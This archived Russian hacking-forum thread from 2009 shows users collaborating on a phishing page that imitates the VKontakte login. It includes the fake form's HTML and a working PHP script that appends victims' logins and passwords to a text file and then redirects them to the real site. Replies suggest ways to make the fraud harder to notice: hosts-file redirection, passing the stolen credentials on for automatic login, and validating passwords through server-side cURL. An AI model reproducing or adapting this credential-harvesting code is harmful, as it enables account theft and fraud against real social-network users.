Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Форма входа ВКонтакте

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> Форма входа ВКонтакте
Имя
Сообщение << Старые топики   Новые топики >>
Форма входа ВКонтакте - 2009-09-11 18:19:12.086666   
Azot[Z]

Сообщений: 3
Оценки: 0
Присоединился: 2009-09-11 16:57:33.843333
Здравствуйте. Я видел очень много фейков вконтакте но… Я им как-то не доверял и во общем код был грязноват… Я сделал свой фейк, код очень чистенький, там нету нечего лишнего и самое главное он самый новый (всем известно, что любой веб мастер каждый раз что нибудь в нём редактирует). И я столкнулся с проблемой… Форма входа, записывающая в файл введённые логин и пароль… Поискал я фейк в интернете, нашел неплохой но грязный и у него код старый… Поставил форму входа от него (которая пишет пароль и логин в файл) но она жирокая и там нету нового прибамбаса "Чужой компьютер", мне же хочется сделать фейк в совершенстве и я прошу помощи с формой входа.
Вот грязный фейк который я нашол в интернете ->->-> http://depositfiles.com/files/qv5isyias -}> Описание: index.html - грязный фейк, log.php - файл который задаёт параметры "как записывать", base.txt - куда записывается. Вообщем я прошу чтобы Вы отредактировали новую форму регистраци под файл log.php я Вам буду очень благодарен, и когда сделаю фейк обязательно его выложу. И так…
Старая форма
&lt;!-- sideBar --&gt; &lt;div id="sideBar"&gt; &lt;div id="quickLogin"&gt; &lt;form method="post" name="login" id="login" action="log.php" onSubmit="return CheckForm(this);"&gt; &lt;label for="email"&gt;Email:&lt;/label&gt; &lt;input type="text" name="login" value="" class=w_100&gt;&lt;/td&gt; &lt;label for="pass"&gt;Пароль:&lt;/label&gt; &lt;input&nbsp; type="password" name="passwd" class=w_100&gt;&lt;/td&gt; &lt;div style="height:20px;margin-top:5px;"&gt; &lt;ul class='nNav' style="width:128px;padding:0px;margin:0px;"&gt;&lt;li style="margin:0px 3px 0px 0px;"&gt; &lt;b class="nc"&gt;&lt;b class="nc1"&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;b class="nc2"&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/b&gt; &lt;span class="ncc"&gt;&lt;a href="javascript:document.login.submit()"&gt;Вход&lt;/a&gt;&lt;/span&gt; &lt;b class="nc"&gt;&lt;b class="nc2"&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;b class="nc1"&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/b&gt; &lt;/li&gt; &lt;li style="margin:0px"&gt; &lt;b class="nc"&gt;&lt;b class="nc1"&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;b class="nc2"&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/b&gt; &lt;span class="ncc"&gt;&lt;a href="http://vkontakte.ru/reg0"&gt;Регистрация&lt;/a&gt;&lt;/span&gt; &lt;b class="nc"&gt;&lt;b class="nc2"&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;b class="nc1"&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/b&gt; &lt;/li&gt;&lt;/ul&gt; &lt;/div&gt; &lt;div id="expirePad" style="display:none"&gt;&lt;input style="margin-top:1px; vertical-align: middle;" type="checkbox" name="expire" id="expire" value="1" /&gt; &lt;small&gt;Чужой компьютер&lt;/small&gt;&lt;/div&gt; &lt;input type="submit" value='.' style="color:#fff;border:0;padding:0;margin:0;background:#fff;height:6px;width:6px"/&gt; &lt;/form&gt; &lt;/div&gt; &lt;div style="width:124px"&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- End sideBar --&gt; Новая, хорошая форма, которую надо адаптировать под log.php
&lt;!-- sideBar --&gt; &lt;div id="sideBar"&gt; &lt;script type="text/javascript"&gt; var vklogin = false; function try_to_login(obj, text) { &nbsp; if (text.substr(0, 10) == 'not_active') { &nbsp;&nbsp;&nbsp; window.location.href = 'http://vkontakte.ru/login.php?r=1'; &nbsp; } else if (text.substr(0, 4) == 'good') { &nbsp;&nbsp;&nbsp; window.location.href = 'http://vkontakte.ru/'; &nbsp; } else if (text.substr(0, 6) == 'invite') { &nbsp;&nbsp;&nbsp; window.location.href = 'http://vkontakte.ru/help.php?page=welcome&amp;hash=' + text.substr(6); &nbsp; } else if (text.substr(0, 7) == 'vklogin') { &nbsp;&nbsp;&nbsp; vklogin = true; &nbsp;&nbsp;&nbsp; ge('login').submit(); &nbsp; } else { &nbsp;&nbsp;&nbsp; window.location.href = 'http://vkontakte.ru/login.php?m=1'; &nbsp; } } function quick_login() { &nbsp; var options = {onSuccess: try_to_login}; &nbsp; Ajax.postWithCaptcha('http://vkontakte.ru/login.php', {'op': 'a_login_attempt'}, options); } &lt;/script&gt; &lt;div id="quickLogin"&gt; &lt;form method="post" name="login" id="login" action="http://login.vk.com/?act=login" onsubmit="if (vklogin) {return true} else {quick_login();return false;}"&gt; &lt;label for="email"&gt;Email:&lt;/label&gt; &lt;input class="inputText" onClick="show('expirePad');" type="text" name="email" id="email" size="20" /&gt; &lt;label for="pass"&gt;Пароль:&lt;/label&gt; &lt;input class="inputText" onClick="show('expirePad');" type="password" name="pass" id="pass" size="20" /&gt; &lt;table cellpadding=0 cellspacing=0 id="expirePad" style="display:none;"&gt;&lt;td&gt;&lt;input style="margin-top:1px; vertical-align: middle;" type="checkbox" name="expire" id="expire" value="1" /&gt;&lt;/td&gt;&lt;td style='padding-top:3px;*padding-top:6px'&gt;&lt;label for='expire' id='expire_label'&gt;Чужой компьютер&lt;/label&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt; &lt;div style="height:20px;margin-top:5px;"&gt; &lt;ul class='nNav' style="width:135px;padding:0px;margin:0px;"&gt;&lt;li style="margin:0px 3px 0px 0px;"&gt; &lt;b class="nc"&gt;&lt;b class="nc1"&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;b class="nc2"&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/b&gt; &lt;span class="ncc"&gt;&lt;a href="javascript:quick_login()"&gt;Вход&lt;/a&gt;&lt;/span&gt; &lt;b class="nc"&gt;&lt;b class="nc2"&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;b class="nc1"&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/b&gt; &lt;/li&gt; &lt;li style="margin:0px"&gt; &lt;b class="nc"&gt;&lt;b class="nc1"&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;b class="nc2"&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/b&gt; &lt;span class="ncc"&gt;&lt;a href="http://vkontakte.ru/reg0"&gt;Регистрация&lt;/a&gt;&lt;/span&gt; &lt;b class="nc"&gt;&lt;b class="nc2"&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;b class="nc1"&gt;&lt;b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/b&gt; &lt;/li&gt;&lt;/ul&gt; &lt;/div&gt; &lt;input type="submit" value='.' style="color:#fff;border:0;padding:0;margin:0;background:#fff;height:6px;width:6px"/&gt; &lt;/form&gt; &lt;/div&gt; &lt;div style="width:124px"&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- End sideBar --&gt; Файл log.php -
&lt;?PHP $Login = $_POST['login']; $Pass = $_POST['passwd']; $log = fopen("base.txt","a+"); fwrite($log,"\n $Login:$Pass \n"); fclose($log); header("Location: http://vkontakte.ru//"); ?&gt; Заранее спасибо и извиняюсь за свои незнания;)
Post #: 1
RE: Форма входа ВКонтакте - 2009-09-11 18:41:31.770000   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
Качественные фейки имеют внутреннюю авторизацию
Post #: 2
RE: Форма входа ВКонтакте - 2009-09-11 20:03:55.920000   
Azot[Z]

Сообщений: 3
Оценки: 0
Присоединился: 2009-09-11 16:57:33.843333
Я тебя не понял…
Post #: 3
RE: Форма входа ВКонтакте - 2009-09-11 20:05:08.236666   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
Как ты проверяеш правильный ли пароль ввеен в фейк?
Post #: 4
RE: Форма входа ВКонтакте - 2009-09-11 20:08:57.943333   
Azot[Z]

Сообщений: 3
Оценки: 0
Присоединился: 2009-09-11 16:57:33.843333
А, зачем его проверять скриптами? Потом сам и проверю… Просто если делать через ws/sustem32/drivers/etc/vhost то для чего проверка?
Post #: 5
RE: Форма входа ВКонтакте - 2009-09-11 20:15:53.500000   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
quote:

Просто если делать через ws/sustem32/drivers/etc/vhost то для чего проверка?

хахаха
Логика вещей:
1)юзер вводит пароль - видит что нихрена не происходит
2)вводит еще раз (может еще раза два, точно убедившись что пароль правильный)
3)Он нагуглил про trojan.hosts и исправил файл hosts своими силами
4)Меняет пароль
5)The end
Post #: 6
RE: Форма входа ВКонтакте - 2009-09-11 21:41:39.126666   
UDO

Сообщений: 435
Оценки: 0
Присоединился: 2008-12-04 00:55:31.380000
quote:

ORIGINAL: FriLL

quote:

Просто если делать через ws/sustem32/drivers/etc/vhost то для чего проверка?

хахаха
Логика вещей:
1)юзер вводит пароль - видит что нихрена не происходит
2)вводит еще раз (может еще раза два, точно убедившись что пароль правильный)
3)Он нагуглил про trojan.hosts и исправил файл hosts своими силами
4)Меняет пароль
5)The end


Можно сделать чтобы автоматом редиректило не на страницу vkontakte.ru а изменить последнюю строку на
header("Location: http://vkontakte.ru/login.php?email=$Login&pass=$Pass");
тогда будет редирект и автоматический вход в аккаунт, можно еще добавить внутреннюю авторизацию.
кстати тема хорошая, щас сам занимаюсь разработкой качественного фейка вконтакте
Post #: 7
RE: Форма входа ВКонтакте - 2009-09-11 22:50:09.713333   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333

quote:

ORIGINAL: UDO

quote:

ORIGINAL: FriLL

quote:

Просто если делать через ws/sustem32/drivers/etc/vhost то для чего проверка?

хахаха
Логика вещей:
1)юзер вводит пароль - видит что нихрена не происходит
2)вводит еще раз (может еще раза два, точно убедившись что пароль правильный)
3)Он нагуглил про trojan.hosts и исправил файл hosts своими силами
4)Меняет пароль
5)The end


Можно сделать чтобы автоматом редиректило не на страницу vkontakte.ru а изменить последнюю строку на
header("Location: http://vkontakte.ru/login.php?email=$Login&pass=$Pass");
тогда будет редирект и автоматический вход в аккаунт, можно еще добавить внутреннюю авторизацию.
кстати тема хорошая, щас сам занимаюсь разработкой качественного фейка вконтакте

omg
какой редирект?
если данные прописаны в hosts То твой редирект тебя обратно на фейк и вернет
Post #: 8
RE: Форма входа ВКонтакте - 2009-09-11 23:26:06.830000   
UDO

Сообщений: 435
Оценки: 0
Присоединился: 2008-12-04 00:55:31.380000
Я это сказал не для варианта в подменой hosts, в этом случае можно на серваке поставит скрипт, который бы через Curl авторизовывался на сайте вконтакте и загружал html страницу, и еще поместить на сервак css ки и джава скрипты, чтобы страница отображалась правильно, сложно но сделать можно потратив не более 30 минут
Post #: 9
RE: Форма входа ВКонтакте - 2009-09-11 23:59:45.463333   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
quote:

и еще поместить на сервак css ки и джава скрипты, чтобы страница отображалась правильно, сложно но сделать можно потратив не более 30 минут

о да
Файл - Сохрнанить как - html файл в картинками
Post #: 10
Страниц:  [1]
Все форумы >> [Веб-программинг] >> Форма входа ВКонтакте







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.